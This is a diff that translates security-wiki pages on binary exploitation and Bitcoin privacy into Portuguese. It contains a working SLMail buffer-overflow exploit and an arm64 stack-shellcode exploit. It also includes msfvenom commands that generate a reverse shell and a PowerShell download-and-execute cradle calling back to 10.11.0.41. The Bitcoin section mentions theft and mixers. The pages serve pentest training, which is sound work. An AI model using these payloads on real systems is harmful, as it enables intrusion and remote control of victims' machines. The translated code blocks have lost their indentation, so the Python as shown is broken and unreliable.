 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
-  - 64bit, ASLR with stack address leak, write shellcode and jump to it
+- 64bit, ASLR com leak de endereço da pilha, escreva shellcode e salte para ele
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
-  - 32 bit, ASLR with stack leak, write shellcode and jump to it
+- 32 bit, ASLR com leak da pilha, escreva shellcode e salte para ele
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
-  - 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
+- 32 bit, ASLR com leak da pilha, comparação para evitar chamada para exit(), sobrescreva variável com um valor e escreva shellcode e salte para ele
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-  - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
+- arm64, sem ASLR, gadget ROP para tornar a pilha executável e saltar para o shellcode na pilha
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index 3ad3e61ac..535cf8b6d 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -2,47 +2,40 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-Find an introduction to arm64 in:
+Encontre uma introdução ao arm64 em:
 
 {{#ref}}
 ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
 {{#endref}}
 
-## Code 
-
+## Código 
 ```c
 #include 
 #include 
 
 void vulnerable_function() {
-    char buffer[64];
-    read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
+char buffer[64];
+read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
 }
 
 int main() {
-    vulnerable_function();
-    return 0;
+vulnerable_function();
+return 0;
 }
 ```
-
-Compile without pie, canary and nx:
-
+Compile sem pie, canário e nx:
 ```bash
 clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
 ```
+## Sem ASLR e Sem canário - Stack Overflow 
 
-## No ASLR & No canary - Stack Overflow 
-
-To stop ASLR execute:
-
+Para parar o ASLR, execute:
 ```bash
 echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
 ```
-
-To get the [**offset of the bof check this link**](../ret2win/ret2win-arm64.md#finding-the-offset).
+Para obter o [**offset do bof verifique este link**](../ret2win/ret2win-arm64.md#finding-the-offset).
 
 Exploit:
-
 ```python
 from pwn import *
 
@@ -73,9 +66,8 @@ p.send(payload)
 # Drop to an interactive session
 p.interactive()
 ```
+A única coisa "complicada" a encontrar aqui seria o endereço na pilha para chamar. No meu caso, eu gerei o exploit com o endereço encontrado usando gdb, mas depois, ao explorá-lo, não funcionou (porque o endereço da pilha mudou um pouco).
 
-The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
-
-I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
+Eu abri o **`core` file** gerado (`gdb ./bog ./core`) e verifiquei o endereço real do início do shellcode.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/stack-overflow/uninitialized-variables.md b/src/binary-exploitation/stack-overflow/uninitialized-variables.md
index 6cde48bee..b27172074 100644
--- a/src/binary-exploitation/stack-overflow/uninitialized-variables.md
+++ b/src/binary-exploitation/stack-overflow/uninitialized-variables.md
@@ -1,68 +1,66 @@
-# Uninitialized Variables
+# Variáveis Não Inicializadas
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-The core idea here is to understand what happens with **uninitialized variables as they will have the value that was already in the assigned memory to them.** Example:
+A ideia central aqui é entender o que acontece com **variáveis não inicializadas, pois elas terão o valor que já estava na memória atribuída a elas.** Exemplo:
 
-- **Function 1: `initializeVariable`**: We declare a variable `x` and assign it a value, let's say `0x1234`. This action is akin to reserving a spot in memory and putting a specific value in it.
-- **Function 2: `useUninitializedVariable`**: Here, we declare another variable `y` but do not assign any value to it. In C, uninitialized variables don't automatically get set to zero. Instead, they retain whatever value was last stored at their memory location.
+- **Função 1: `initializeVariable`**: Declaramos uma variável `x` e atribuímos um valor, digamos `0x1234`. Essa ação é semelhante a reservar um espaço na memória e colocar um valor específico nele.
+- **Função 2: `useUninitializedVariable`**: Aqui, declaramos outra variável `y`, mas não atribuímos nenhum valor a ela. Em C, variáveis não inicializadas não são automaticamente definidas como zero. Em vez disso, elas mantêm o último valor armazenado em seu local de memória.
 
-When we run these two functions **sequentially**:
+Quando executamos essas duas funções **sequentially**:
 
-1. In `initializeVariable`, `x` is assigned a value (`0x1234`), which occupies a specific memory address.
-2. In `useUninitializedVariable`, `y` is declared but not assigned a value, so it takes the memory spot right after `x`. Due to not initializing `y`, it ends up "inheriting" the value from the same memory location used by `x`, because that's the last value that was there.
+1. Em `initializeVariable`, `x` recebe um valor (`0x1234`), que ocupa um endereço de memória específico.
+2. Em `useUninitializedVariable`, `y` é declarada, mas não recebe um valor, então ocupa o espaço de memória logo após `x`. Devido à não inicialização de `y`, ela acaba "herdando" o valor do mesmo local de memória usado por `x`, porque esse é o último valor que estava lá.
 
-This behavior illustrates a key concept in low-level programming: **Memory management is crucial**, and uninitialized variables can lead to unpredictable behavior or security vulnerabilities, as they may unintentionally hold sensitive data left in memory.
+Esse comportamento ilustra um conceito chave em programação de baixo nível: **Gerenciamento de memória é crucial**, e variáveis não inicializadas podem levar a comportamentos imprevisíveis ou vulnerabilidades de segurança, pois podem, inadvertidamente, conter dados sensíveis deixados na memória.
 
-Uninitialized stack variables could pose several security risks like:
+Variáveis de pilha não inicializadas podem representar vários riscos de segurança, como:
 
-- **Data Leakage**: Sensitive information such as passwords, encryption keys, or personal details can be exposed if stored in uninitialized variables, allowing attackers to potentially read this data.
-- **Information Disclosure**: The contents of uninitialized variables might reveal details about the program's memory layout or internal operations, aiding attackers in developing targeted exploits.
-- **Crashes and Instability**: Operations involving uninitialized variables can result in undefined behavior, leading to program crashes or unpredictable outcomes.
-- **Arbitrary Code Execution**: In certain scenarios, attackers could exploit these vulnerabilities to alter the program's execution flow, enabling them to execute arbitrary code, which might include remote code execution threats.
-
-### Example
+- **Vazamento de Dados**: Informações sensíveis, como senhas, chaves de criptografia ou detalhes pessoais, podem ser expostas se armazenadas em variáveis não inicializadas, permitindo que atacantes potencialmente leiam esses dados.
+- **Divulgação de Informações**: O conteúdo de variáveis não inicializadas pode revelar detalhes sobre o layout de memória do programa ou operações internas, ajudando atacantes a desenvolver exploits direcionados.
+- **Falhas e Instabilidade**: Operações envolvendo variáveis não inicializadas podem resultar em comportamento indefinido, levando a falhas do programa ou resultados imprevisíveis.
+- **Execução de Código Arbitrário**: Em certos cenários, atacantes poderiam explorar essas vulnerabilidades para alterar o fluxo de execução do programa, permitindo-lhes executar código arbitrário, o que pode incluir ameaças de execução remota de código.
 
+### Exemplo
 ```c
 #include 
 
 // Function to initialize and print a variable
 void initializeAndPrint() {
-    int initializedVar = 100; // Initialize the variable
-    printf("Initialized Variable:\n");
-    printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
+int initializedVar = 100; // Initialize the variable
+printf("Initialized Variable:\n");
+printf("Address: %p, Value: %d\n\n", (void*)&initializedVar, initializedVar);
 }
 
 // Function to demonstrate the behavior of an uninitialized variable
 void demonstrateUninitializedVar() {
-    int uninitializedVar; // Declare but do not initialize
-    printf("Uninitialized Variable:\n");
-    printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
+int uninitializedVar; // Declare but do not initialize
+printf("Uninitialized Variable:\n");
+printf("Address: %p, Value: %d\n\n", (void*)&uninitializedVar, uninitializedVar);
 }
 
 int main() {
-    printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
+printf("Demonstrating Initialized vs. Uninitialized Variables in C\n\n");
 
-    // First, call the function that initializes its variable
-    initializeAndPrint();
+// First, call the function that initializes its variable
+initializeAndPrint();
 
-    // Then, call the function that has an uninitialized variable
-    demonstrateUninitializedVar();
+// Then, call the function that has an uninitialized variable
+demonstrateUninitializedVar();
 
-    return 0;
+return 0;
 }
 ```
+#### Como Isso Funciona:
 
-#### How This Works:
+- **`initializeAndPrint` Função**: Esta função declara uma variável inteira `initializedVar`, atribui a ela o valor `100` e, em seguida, imprime tanto o endereço de memória quanto o valor da variável. Este passo é direto e mostra como uma variável inicializada se comporta.
+- **`demonstrateUninitializedVar` Função**: Nesta função, declaramos uma variável inteira `uninitializedVar` sem inicializá-la. Quando tentamos imprimir seu valor, a saída pode mostrar um número aleatório. Este número representa os dados que estavam anteriormente naquele local de memória. Dependendo do ambiente e do compilador, a saída real pode variar e, às vezes, por segurança, alguns compiladores podem inicializar automaticamente variáveis para zero, embora isso não deva ser confiável.
+- **`main` Função**: A função `main` chama ambas as funções acima em sequência, demonstrando o contraste entre uma variável inicializada e uma não inicializada.
 
-- **`initializeAndPrint` Function**: This function declares an integer variable `initializedVar`, assigns it the value `100`, and then prints both the memory address and the value of the variable. This step is straightforward and shows how an initialized variable behaves.
-- **`demonstrateUninitializedVar` Function**: In this function, we declare an integer variable `uninitializedVar` without initializing it. When we attempt to print its value, the output might show a random number. This number represents whatever data was previously at that memory location. Depending on the environment and compiler, the actual output can vary, and sometimes, for safety, some compilers might automatically initialize variables to zero, though this should not be relied upon.
-- **`main` Function**: The `main` function calls both of the above functions in sequence, demonstrating the contrast between an initialized variable and an uninitialized one.
+## Exemplo ARM64
 
-## ARM64 Example
-
-This doesn't change at all in ARM64 as local variables are also managed in the stack, you can [**check this example**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) were this is shown.
+Isso não muda nada no ARM64, pois variáveis locais também são gerenciadas na pilha, você pode [**verificar este exemplo**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) onde isso é mostrado.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md
index fb6f62862..2c068a6da 100644
--- a/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md
+++ b/src/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md
@@ -1,21 +1,18 @@
-# Windows Exploiting (Basic Guide - OSCP lvl)
+# Windows Exploiting (Guia Básico - Nível OSCP)
 
 {{#include ../banners/hacktricks-training.md}}
 
-## **Start installing the SLMail service**
+## **Comece a instalar o serviço SLMail**
 
-## Restart SLMail service
-
-Every time you need to **restart the service SLMail** you can do it using the windows console:
+## Reiniciar o serviço SLMail
 
+Sempre que você precisar **reiniciar o serviço SLMail**, você pode fazê-lo usando o console do Windows:
 ```
 net start slmail
 ```
-
 ![](<../images/image (988).png>)
 
-## Very basic python exploit template
-
+## Modelo de exploit python muito básico
 ```python
 #!/usr/bin/python
 
@@ -27,99 +24,89 @@ port = 110
 
 buffer = 'A' * 2700
 try:
-    print "\nLaunching exploit..."
-    s.connect((ip, port))
-    data = s.recv(1024)
-    s.send('USER username' +'\r\n')
-    data = s.recv(1024)
-    s.send('PASS ' + buffer + '\r\n')
-    print "\nFinished!."
+print "\nLaunching exploit..."
+s.connect((ip, port))
+data = s.recv(1024)
+s.send('USER username' +'\r\n')
+data = s.recv(1024)
+s.send('PASS ' + buffer + '\r\n')
+print "\nFinished!."
 except:
-    print "Could not connect to "+ip+":"+port
+print "Could not connect to "+ip+":"+port
 ```
+## **Mudar a Fonte do Immunity Debugger**
 
-## **Change Immunity Debugger Font**
+Vá para `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
 
-Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
-
-## **Attach the proces to Immunity Debugger:**
+## **Anexar o processo ao Immunity Debugger:**
 
 **File --> Attach**
 
 ![](<../images/image (869).png>)
 
-**And press START button**
+**E pressione o botão START**
 
-## **Send the exploit and check if EIP is affected:**
+## **Envie o exploit e verifique se o EIP está afetado:**
 
 ![](<../images/image (906).png>)
 
-Every time you break the service you should restart it as is indicated in the beginnig of this page.
+Toda vez que você interromper o serviço, deve reiniciá-lo, conforme indicado no início desta página.
 
-## Create a pattern to modify the EIP
+## Criar um padrão para modificar o EIP
 
-The pattern should be as big as the buffer you used to broke the service previously.
+O padrão deve ser tão grande quanto o buffer que você usou para interromper o serviço anteriormente.
 
 ![](<../images/image (420).png>)
-
 ```
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
 ```
+Altere o buffer do exploit e defina o padrão e inicie o exploit.
 
-Change the buffer of the exploit and set the pattern and lauch the exploit.
-
-A new crash should appeard, but with a different EIP address:
+Um novo crash deve aparecer, mas com um endereço EIP diferente:
 
 ![](<../images/image (636).png>)
 
-Check if the address was in your pattern:
+Verifique se o endereço estava no seu padrão:
 
 ![](<../images/image (418).png>)
-
 ```
 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
 ```
+Parece que **podemos modificar o EIP no offset 2606** do buffer.
 
-Looks like **we can modify the EIP in offset 2606** of the buffer.
-
-Check it modifing the buffer of the exploit:
-
+Verifique isso modificando o buffer do exploit:
 ```
 buffer = 'A'*2606 + 'BBBB' + 'CCCC'
 ```
-
-With this buffer the EIP crashed should point to 42424242 ("BBBB")
+Com esse buffer, o EIP quebrou e deve apontar para 42424242 ("BBBB")
 
 ![](<../images/image (874).png>)
 
 ![](<../images/image (92).png>)
 
-Looks like it is working.
+Parece que está funcionando.
 
-## Check for Shellcode space inside the stack
+## Verifique o espaço para Shellcode dentro da pilha
 
-600B should be enough for any powerfull shellcode.
-
-Lets change the bufer:
+600B deve ser suficiente para qualquer shellcode poderoso.
 
+Vamos mudar o buffer:
 ```
 buffer = 'A'*2606 + 'BBBB' + 'C'*600
 ```
-
-launch the new exploit and check the EBP and the length of the usefull shellcode
+lançar o novo exploit e verificar o EBP e o comprimento do shellcode útil
 
 ![](<../images/image (119).png>)
 
 ![](<../images/image (879).png>)
 
-You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
+Você pode ver que quando a vulnerabilidade é alcançada, o EBP está apontando para o shellcode e que temos muito espaço para localizar um shellcode aqui.
 
-In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
+Neste caso, temos **de 0x0209A128 a 0x0209A2D6 = 430B.** Suficiente.
 
-## Check for bad chars
-
-Change again the buffer:
+## Verifique se há caracteres indesejados
 
+Mude novamente o buffer:
 ```
 badchars = (
 "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
@@ -141,63 +128,55 @@ badchars = (
 )
 buffer = 'A'*2606 + 'BBBB' + badchars
 ```
+Os badchars começam em 0x01 porque 0x00 é quase sempre ruim.
 
-The badchars starts in 0x01 because 0x00 is almost always bad.
+Execute repetidamente o exploit com este novo buffer removendo os caracteres que se mostram inúteis:
 
-Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
+Por exemplo:
 
-For example:
-
-In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
+Neste caso, você pode ver que **você não deve usar o caractere 0x0A** (nada é salvo na memória desde o caractere 0x09).
 
 ![](<../images/image (111).png>)
 
-In this case you can see that **the char 0x0D is avoided**:
+Neste caso, você pode ver que **o caractere 0x0D é evitado**:
 
 ![](<../images/image (1098).png>)
 
-## Find a JMP ESP as a return address
-
-Using:
+## Encontre um JMP ESP como endereço de retorno
 
+Usando:
 ```
 !mona modules    #Get protections, look for all false except last one (Dll of SO)
 ```
+Você irá **listar os mapas de memória**. Procure por algum DLL que tenha:
 
-You will **list the memory maps**. Search for some DLl that has:
-
-- **Rebase: False**
-- **SafeSEH: False**
-- **ASLR: False**
-- **NXCompat: False**
-- **OS Dll: True**
+- **Rebase: Falso**
+- **SafeSEH: Falso**
+- **ASLR: Falso**
+- **NXCompat: Falso**
+- **OS Dll: Verdadeiro**
 
 ![](<../images/image (555).png>)
 
-Now, inside this memory you should find some JMP ESP bytes, to do that execute:
-
+Agora, dentro dessa memória você deve encontrar alguns bytes JMP ESP, para fazer isso execute:
 ```
 !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
 !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
 ```
-
-**Then, if some address is found, choose one that don't contain any badchar:**
+**Então, se algum endereço for encontrado, escolha um que não contenha nenhum badchar:**
 
 ![](<../images/image (605).png>)
 
-**In this case, for example: \_0x5f4a358f**\_
-
-## Create shellcode
+**Neste caso, por exemplo: \_0x5f4a358f**\_
 
+## Criar shellcode
 ```
 msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
 msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
 ```
+Se o exploit não estiver funcionando, mas deveria (você pode ver com ImDebg que o shellcode é alcançado), tente criar outros shellcodes (msfvenom com criar diferentes shellcodes para os mesmos parâmetros).
 
-If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
-
-**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
-
+**Adicione alguns NOPS no início** do shellcode e use-o e o endereço de retorno para JMP ESP, e finalize o exploit:
 ```bash
 #!/usr/bin/python
 
@@ -236,26 +215,23 @@ shellcode = (
 
 buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
 try:
-    print "\nLaunching exploit..."
-    s.connect((ip, port))
-    data = s.recv(1024)
-    s.send('USER username' +'\r\n')
-    data = s.recv(1024)
-    s.send('PASS ' + buffer + '\r\n')
-    print "\nFinished!."
+print "\nLaunching exploit..."
+s.connect((ip, port))
+data = s.recv(1024)
+s.send('USER username' +'\r\n')
+data = s.recv(1024)
+s.send('PASS ' + buffer + '\r\n')
+print "\nFinished!."
 except:
-    print "Could not connect to "+ip+":"+port
+print "Could not connect to "+ip+":"+port
 ```
-
 > [!WARNING]
-> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
+> Existem shellcodes que **sobrescrevem a si mesmos**, portanto é importante sempre adicionar alguns NOPs antes do shellcode
 
-## Improving the shellcode
-
-Add this parameters:
+## Melhorando o shellcode
 
+Adicione estes parâmetros:
 ```bash
 EXITFUNC=thread -e x86/shikata_ga_nai
 ```
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md
index c897d0035..945abf3a3 100644
--- a/src/blockchain/blockchain-and-crypto-currencies/README.md
+++ b/src/blockchain/blockchain-and-crypto-currencies/README.md
@@ -1,180 +1,176 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Concepts
+## Conceitos Básicos
 
-- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
-- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
-- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
-  - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
-- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
-- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
+- **Smart Contracts** são definidos como programas que executam em uma blockchain quando certas condições são atendidas, automatizando a execução de acordos sem intermediários.
+- **Decentralized Applications (dApps)** baseiam-se em smart contracts, apresentando uma interface amigável e um back-end transparente e auditável.
+- **Tokens & Coins** diferenciam onde coins servem como dinheiro digital, enquanto tokens representam valor ou propriedade em contextos específicos.
+- **Utility Tokens** concedem acesso a serviços, e **Security Tokens** significam propriedade de ativos.
+- **DeFi** significa Finanças Descentralizadas, oferecendo serviços financeiros sem autoridades centrais.
+- **DEX** e **DAOs** referem-se a Plataformas de Troca Descentralizadas e Organizações Autônomas Descentralizadas, respectivamente.
 
-## Consensus Mechanisms
+## Mecanismos de Consenso
 
-Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
+Os mecanismos de consenso garantem validações de transações seguras e acordadas na blockchain:
 
-- **Proof of Work (PoW)** relies on computational power for transaction verification.
-- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
+- **Proof of Work (PoW)** depende de poder computacional para verificação de transações.
+- **Proof of Stake (PoS)** exige que validadores mantenham uma certa quantidade de tokens, reduzindo o consumo de energia em comparação ao PoW.
 
-## Bitcoin Essentials
+## Essenciais do Bitcoin
 
-### Transactions
+### Transações
 
-Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
+Transações de Bitcoin envolvem a transferência de fundos entre endereços. As transações são validadas através de assinaturas digitais, garantindo que apenas o proprietário da chave privada possa iniciar transferências.
 
-#### Key Components:
+#### Componentes Chave:
 
-- **Multisignature Transactions** require multiple signatures to authorize a transaction.
-- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
+- **Transações Multisignature** requerem múltiplas assinaturas para autorizar uma transação.
+- As transações consistem em **inputs** (fonte de fundos), **outputs** (destino), **fees** (pagas aos mineradores) e **scripts** (regras da transação).
 
 ### Lightning Network
 
-Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
+Tem como objetivo melhorar a escalabilidade do Bitcoin permitindo múltiplas transações dentro de um canal, transmitindo apenas o estado final para a blockchain.
 
-## Bitcoin Privacy Concerns
+## Preocupações com a Privacidade do Bitcoin
 
-Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
+Ataques à privacidade, como **Common Input Ownership** e **UTXO Change Address Detection**, exploram padrões de transação. Estratégias como **Mixers** e **CoinJoin** melhoram a anonimidade ao obscurecer os vínculos de transação entre os usuários.
 
-## Acquiring Bitcoins Anonymously
+## Adquirindo Bitcoins Anonimamente
 
-Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
+Métodos incluem trocas em dinheiro, mineração e uso de mixers. **CoinJoin** mistura múltiplas transações para complicar a rastreabilidade, enquanto **PayJoin** disfarça CoinJoins como transações regulares para maior privacidade.
 
-# Bitcoin Privacy Atacks
+# Ataques à Privacidade do Bitcoin
 
-# Summary of Bitcoin Privacy Attacks
+# Resumo dos Ataques à Privacidade do Bitcoin
 
-In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
+No mundo do Bitcoin, a privacidade das transações e a anonimidade dos usuários são frequentemente assuntos de preocupação. Aqui está uma visão simplificada de vários métodos comuns pelos quais atacantes podem comprometer a privacidade do Bitcoin.
 
-## **Common Input Ownership Assumption**
+## **Assunção de Propriedade de Input Comum**
 
-It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
+É geralmente raro que inputs de diferentes usuários sejam combinados em uma única transação devido à complexidade envolvida. Assim, **dois endereços de input na mesma transação são frequentemente assumidos como pertencentes ao mesmo proprietário**.
 
-## **UTXO Change Address Detection**
+## **Detecção de Endereço de Troca UTXO**
 
-A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
+Um UTXO, ou **Unspent Transaction Output**, deve ser totalmente gasto em uma transação. Se apenas uma parte dele for enviada para outro endereço, o restante vai para um novo endereço de troca. Observadores podem assumir que este novo endereço pertence ao remetente, comprometendo a privacidade.
 
-### Example
+### Exemplo
 
-To mitigate this, mixing services or using multiple addresses can help obscure ownership.
+Para mitigar isso, serviços de mistura ou o uso de múltiplos endereços podem ajudar a obscurecer a propriedade.
 
-## **Social Networks & Forums Exposure**
+## **Exposição em Redes Sociais e Fóruns**
 
-Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
+Os usuários às vezes compartilham seus endereços de Bitcoin online, tornando **fácil vincular o endereço ao seu proprietário**.
 
-## **Transaction Graph Analysis**
+## **Análise de Gráficos de Transação**
 
-Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
+As transações podem ser visualizadas como gráficos, revelando potenciais conexões entre usuários com base no fluxo de fundos.
 
-## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
+## **Heurística de Input Desnecessário (Heurística de Troca Ótima)**
 
-This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
-
-### Example
+Esta heurística é baseada na análise de transações com múltiplos inputs e outputs para adivinhar qual output é a troca retornando ao remetente.
 
+### Exemplo
 ```bash
 2 btc --> 4 btc
 3 btc     1 btc
 ```
+Se adicionar mais entradas faz com que a saída de mudança seja maior do que qualquer entrada única, isso pode confundir a heurística.
 
-If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
+## **Reutilização Forçada de Endereço**
 
-## **Forced Address Reuse**
+Os atacantes podem enviar pequenas quantias para endereços previamente utilizados, esperando que o destinatário combine essas quantias com outras entradas em transações futuras, ligando assim os endereços.
 
-Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
+### Comportamento Correto da Carteira
 
-### Correct Wallet Behavior
+As carteiras devem evitar usar moedas recebidas em endereços já utilizados e vazios para prevenir esse vazamento de privacidade.
 
-Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
+## **Outras Técnicas de Análise de Blockchain**
 
-## **Other Blockchain Analysis Techniques**
+- **Quantias de Pagamento Exatas:** Transações sem troco são provavelmente entre dois endereços pertencentes ao mesmo usuário.
+- **Números Redondos:** Um número redondo em uma transação sugere que é um pagamento, com a saída não redonda provavelmente sendo o troco.
+- **Impressão Digital de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software utilizado e potencialmente o endereço de troco.
+- **Correlações de Quantidade e Tempo:** Divulgar horários ou quantias de transações pode tornar as transações rastreáveis.
 
-- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
-- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
-- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
-- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
+## **Análise de Tráfego**
 
-## **Traffic Analysis**
+Ao monitorar o tráfego da rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações.
 
-By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
+## Mais
 
-## More
+Para uma lista abrangente de ataques à privacidade e defesas, visite [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
 
-For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
+# Transações Anônimas de Bitcoin
 
-# Anonymous Bitcoin Transactions
+## Formas de Obter Bitcoins Anonimamente
 
-## Ways to Get Bitcoins Anonymously
+- **Transações em Dinheiro**: Adquirir bitcoin através de dinheiro.
+- **Alternativas em Dinheiro**: Comprar cartões-presente e trocá-los online por bitcoin.
+- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feito sozinho, pois pools de mineração podem conhecer o endereço IP do minerador. [Informações sobre Pools de Mineração](https://en.bitcoin.it/wiki/Pooled_mining)
+- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo anonimamente, embora seja ilegal e não recomendado.
 
-- **Cash Transactions**: Acquiring bitcoin through cash.
-- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
-- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
-- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
+## Serviços de Mistura
 
-## Mixing Services
-
-By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
